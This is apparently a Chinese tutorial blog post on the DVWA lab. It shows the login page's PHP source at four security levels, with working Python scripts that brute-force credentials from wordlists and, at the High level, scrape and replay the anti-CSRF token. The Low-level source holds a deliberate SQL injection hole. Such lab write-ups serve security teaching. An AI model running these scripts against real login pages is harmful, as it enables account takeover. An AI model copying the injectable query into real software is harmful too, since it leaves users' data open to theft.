DVWA学习之Brute Force暴力破解(python脚本实现)

概述

搭建方法请转至DVMA学习之安装、环境搭建等

本文主要使用 python 脚本来实现 Brute Force,文末有一些未解问题,期待一起讨论。

具体过程

模拟访问网页,通过抓包查看具体的跳转类型。(可通过检查源实现)

  1. Low 情况:可以通过 SQL注入暴力破解 实现攻击。
  2. Medium情况:可以通过 暴力破解 实现。
  3. High情况:在进行模拟访问的时候需要添加 Token

问题讨论(求大佬解答)

  1. 关于 Cookie 的问题:直接通过 get 方法返回的 set-cookie 属性中的 cookie 并不能直接使用。原因是因为 cookie 已保存至浏览器了嘛?
  2. 关于 Token 的更换:一次一换,但一次无法有 token,所以 token 的具体操作流程是什么样的呢,即其生命周期。

下文分为三部分,分别放了网页源码和攻击代码(有两种实现方式)。

1. Low

1.1 网页源码

<?php

if( isset( $_GET[ 'Login' ] ) ) {
    // Get username
    $user = $_GET[ 'username' ];

    // Get password
    $pass = $_GET[ 'password' ];
    $pass = md5( $pass );

    // Check the database
    $query  = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

    if( $result && mysqli_num_rows( $result ) == 1 ) {
        // Get users details
        $row    = mysqli_fetch_assoc( $result );
        $avatar = $row["avatar"];

        // Login successful
        echo "<p>Welcome to the password protected area {$user}</p>";
        echo "<img src=\"{$avatar}\" />";
    }
    else {
        // Login failed
        echo "<pre><br />Username and/or password incorrect.</pre>";
    }

    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

?> 

1.2 攻击实现(一)

import requests
import re

headers = {
    "Cookie": "security=low; PHPSESSID=自己cookie"
}
ip = "" # localhost
url = "http://" + ip + "/dvwa/vulnerabilities/brute/"
res = requests.get(url,headers=headers)

fileusernames = open("names.txt","r")
usernames = fileusernames.readlines()
filepasswords = open("dict.txt","r")
passwords = filepasswords.readlines()

for username in usernames:
    for password in passwords:
        response = requests.get(url+"?username="+username[:-1]+"&password="+password[:-1]+"&Login=Login", headers=headers) # low & medium #
        if not re.findall("Username and/or password incorrect", response.text):
            print(username[:-1]+":"+password[:-1])

1.3 攻击实现(二)

import httplib2
import sys
import re

ip = "" # localhost
h = httplib2.Http( )
url = "http://" + ip + "/dvwa/vulnerabilities/brute/"
header = {"cookie" : "security = low"}
response,content=h.request(url,headers=header)
cookie = response["set-cookie"]

#cookie = re.findall("PHPSESSID=(.*?); path=/", cookie)[0] ***** 直接获得的Cookie不能使用,会报错,不知道为什么,期待探讨

cookie = "" # 自己抓包获得
cookie = "security = low; PHPSESSID = "+cookie
header={"cookie": cookie}

fileusernames = open("names.txt","r")
usernames = fileusernames.readlines()
filepasswords = open("dict.txt","r")
passwords = filepasswords.readlines()

for username in usernames:
    for password in passwords:
        tmp = url+"?username="+username[:-1]+"&password="+password[:-1]+"&Login=Login" # low #
        res, content = h.request(tmp, "GET", "", header)

        if not re.findall("Username and/or password incorrect", str(content, encoding='utf-8')) or re.findall("CSRF token", str(content, encoding='utf-8')): 
            print(username[:-1]+":"+password[:-1])

2. Medium

2.1 网页源码

<?php

if( isset( $_GET[ 'Login' ] ) ) {
    // Sanitise username input
    $user = $_GET[ 'username' ];
    $user = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $user ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

    // Sanitise password input
    $pass = $_GET[ 'password' ];
    $pass = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
    $pass = md5( $pass );

    // Check the database
    $query  = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

    if( $result && mysqli_num_rows( $result ) == 1 ) {
        // Get users details
        $row    = mysqli_fetch_assoc( $result );
        $avatar = $row["avatar"];

        // Login successful
        echo "<p>Welcome to the password protected area {$user}</p>";
        echo "<img src=\"{$avatar}\" />";
    }
    else {
        // Login failed
        sleep( 2 );
        echo "<pre><br />Username and/or password incorrect.</pre>";
    }

    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

?> 

2.2 攻击实现(一)

import requests
import re

headers = {
    "Cookie": "security=medium; PHPSESSID=自己Cookie"
}
ip = "" # localhost
url = "http://" + ip + "/dvwa/vulnerabilities/brute/"
res = requests.get(url,headers=headers)

fileusernames = open("names.txt","r")
usernames = fileusernames.readlines()
filepasswords = open("dict.txt","r")
passwords = filepasswords.readlines()

for username in usernames:
    for password in passwords:
        response = requests.get(url+"?username="+username[:-1]+"&password="+password[:-1]+"&Login=Login", headers=headers) # low & medium #
        if not re.findall("Username and/or password incorrect", response.text):
            print(username[:-1]+":"+password[:-1])

2.3 攻击实现(二)

import httplib2
import sys
import re

ip = "" # localhost
h = httplib2.Http( )
url = "http://" + ip + "/dvwa/vulnerabilities/brute/"
header = {"cookie" : "security=medium"}
response,content=h.request(url,headers=header)
cookie = response["set-cookie"]

#cookie = re.findall("PHPSESSID=(.*?); path=/", cookie)[0] ***** 直接获得的Cookie不能使用,会报错,不知道为什么,期待探讨

cookie = "" # 自己抓包获得
cookie = "security=medium; PHPSESSID="+cookie
header={"cookie": cookie}

fileusernames = open("names.txt","r")
usernames = fileusernames.readlines()
filepasswords = open("dict.txt","r")
passwords = filepasswords.readlines()

for username in usernames:
    for password in passwords:
        tmp = url+"?username="+username[:-1]+"&password="+password[:-1]+"&Login=Login" # low #
        res, content = h.request(tmp, "GET", "", header)

        if not re.findall("Username and/or password incorrect", str(content, encoding='utf-8')) or re.findall("CSRF token", str(content, encoding='utf-8')): 
            print(username[:-1]+":"+password[:-1])

3. High

3.1 网页源码

<?php

if( isset( $_GET[ 'Login' ] ) ) {
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

    // Sanitise username input
    $user = $_GET[ 'username' ];
    $user = stripslashes( $user );
    $user = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $user ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

    // Sanitise password input
    $pass = $_GET[ 'password' ];
    $pass = stripslashes( $pass );
    $pass = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
    $pass = md5( $pass );

    // Check database
    $query  = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

    if( $result && mysqli_num_rows( $result ) == 1 ) {
        // Get users details
        $row    = mysqli_fetch_assoc( $result );
        $avatar = $row["avatar"];

        // Login successful
        echo "<p>Welcome to the password protected area {$user}</p>";
        echo "<img src=\"{$avatar}\" />";
    }
    else {
        // Login failed
        sleep( rand( 0, 3 ) );
        echo "<pre><br />Username and/or password incorrect.</pre>";
    }

    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

// Generate Anti-CSRF token
generateSessionToken();

?> 

3.2 攻击实现(一)

import requests
import re

headers = {
    "Cookie": "security=high; PHPSESSID=自己cookie"
}
ip = "" # localhost
url = "http://" + ip + "/dvwa/vulnerabilities/brute/"
res = requests.get(url,headers=headers)
token = re.findall("<input.*?value=\'(.*?)' />", res.text)[0] ### high ###

fileusernames = open("names.txt","r")
usernames = fileusernames.readlines()
filepasswords = open("dict.txt","r")
passwords = filepasswords.readlines()

for username in usernames:
    for password in passwords:
        response = requests.get(url+"?username="+username[:-1]+"&password="+password[:-1]+"&Login=Login&user_token="+token, headers=headers) ### high ###
        token = re.findall("<input.*?value=\'(.*?)' />", response.text)[0] ### high ###
        if not re.findall("Username and/or password incorrect", response.text) or re.findall("CSRF token", response.text):
            print(username[:-1]+":"+password[:-1])

3.3 攻击实现(二)

import httplib2
import sys
import re

ip = "" # localhost
h = httplib2.Http( )
url = "http://" + ip + "/dvwa/vulnerabilities/brute/"
header = {"cookie" : "security=high"}
response,content=h.request(url,headers=header)
token = re.findall("<input.*?value=\'(.*?)' />", str(content, encoding='utf-8'))[0]
cookie = response["set-cookie"]

#cookie = re.findall("PHPSESSID=(.*?); path=/", cookie)[0] ***** 直接获得的Cookie不能使用,会报错,不知道为什么,期待探讨
cookie = "" # 自己抓包获得
cookie = "security=high; PHPSESSID="+cookie
header={"cookie": cookie}

fileusernames = open("names.txt","r")
usernames = fileusernames.readlines()
filepasswords = open("dict.txt","r")
passwords = filepasswords.readlines()

for username in usernames:
    for password in passwords:
        #tmp = url+"?username="+username[:-1]+"&password="+password[:-1]+"&Login=Login" # low #
        tmp = url+"?username="+username[:-1]+"&password="+password[:-1]+"&Login=Login&user_token="+token # high #
        res, content = h.request(tmp, "GET", "", header)
        token = re.findall("<input.*?value=\'(.*?)' />", str(content, encoding='utf-8'))[0] # high #
        if not re.findall("Username and/or password incorrect", str(content, encoding='utf-8')) or re.findall("CSRF token", str(content, encoding='utf-8')): 
            print(username[:-1]+":"+password[:-1])

4. Impossible

4.1 网页源码

<?php

if( isset( $_POST[ 'Login' ] ) && isset ($_POST['username']) && isset ($_POST['password']) ) {
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

    // Sanitise username input
    $user = $_POST[ 'username' ];
    $user = stripslashes( $user );
    $user = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $user ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

    // Sanitise password input
    $pass = $_POST[ 'password' ];
    $pass = stripslashes( $pass );
    $pass = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
    $pass = md5( $pass );

    // Default values
    $total_failed_login = 3;
    $lockout_time       = 15;
    $account_locked     = false;

    // Check the database (Check user information)
    $data = $db->prepare( 'SELECT failed_login, last_login FROM users WHERE user = (:user) LIMIT 1;' );
    $data->bindParam( ':user', $user, PDO::PARAM_STR );
    $data->execute();
    $row = $data->fetch();

    // Check to see if the user has been locked out.
    if( ( $data->rowCount() == 1 ) && ( $row[ 'failed_login' ] >= $total_failed_login ) )  {
        // User locked out.  Note, using this method would allow for user enumeration!
        //echo "<pre><br />This account has been locked due to too many incorrect logins.</pre>";

        // Calculate when the user would be allowed to login again
        $last_login = strtotime( $row[ 'last_login' ] );
        $timeout    = $last_login + ($lockout_time * 60);
        $timenow    = time();

        /*
        print "The last login was: " . date ("h:i:s", $last_login) . "<br />";
        print "The timenow is: " . date ("h:i:s", $timenow) . "<br />";
        print "The timeout is: " . date ("h:i:s", $timeout) . "<br />";
        */

        // Check to see if enough time has passed, if it hasn't locked the account
        if( $timenow < $timeout ) {
            $account_locked = true;
            // print "The account is locked<br />";
        }
    }

    // Check the database (if username matches the password)
    $data = $db->prepare( 'SELECT * FROM users WHERE user = (:user) AND password = (:password) LIMIT 1;' );
    $data->bindParam( ':user', $user, PDO::PARAM_STR);
    $data->bindParam( ':password', $pass, PDO::PARAM_STR );
    $data->execute();
    $row = $data->fetch();

    // If its a valid login...
    if( ( $data->rowCount() == 1 ) && ( $account_locked == false ) ) {
        // Get users details
        $avatar       = $row[ 'avatar' ];
        $failed_login = $row[ 'failed_login' ];
        $last_login   = $row[ 'last_login' ];

        // Login successful
        echo "<p>Welcome to the password protected area <em>{$user}</em></p>";
        echo "<img src=\"{$avatar}\" />";

        // Had the account been locked out since last login?
        if( $failed_login >= $total_failed_login ) {
            echo "<p><em>Warning</em>: Someone might of been brute forcing your account.</p>";
            echo "<p>Number of login attempts: <em>{$failed_login}</em>.<br />Last login attempt was at: <em>${last_login}</em>.</p>";
        }

        // Reset bad login count
        $data = $db->prepare( 'UPDATE users SET failed_login = "0" WHERE user = (:user) LIMIT 1;' );
        $data->bindParam( ':user', $user, PDO::PARAM_STR );
        $data->execute();
    } else {
        // Login failed
        sleep( rand( 2, 4 ) );

        // Give the user some feedback
        echo "<pre><br />Username and/or password incorrect.<br /><br/>Alternative, the account has been locked because of too many failed logins.<br />If this is the case, <em>please try again in {$lockout_time} minutes</em>.</pre>";

        // Update bad login count
        $data = $db->prepare( 'UPDATE users SET failed_login = (failed_login + 1) WHERE user = (:user) LIMIT 1;' );
        $data->bindParam( ':user', $user, PDO::PARAM_STR );
        $data->execute();
    }

    // Set the last login time
    $data = $db->prepare( 'UPDATE users SET last_login = now() WHERE user = (:user) LIMIT 1;' );
    $data->bindParam( ':user', $user, PDO::PARAM_STR );
    $data->execute();
}

// Generate Anti-CSRF token
generateSessionToken();

?> 
  • 3
    点赞
  • 12
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值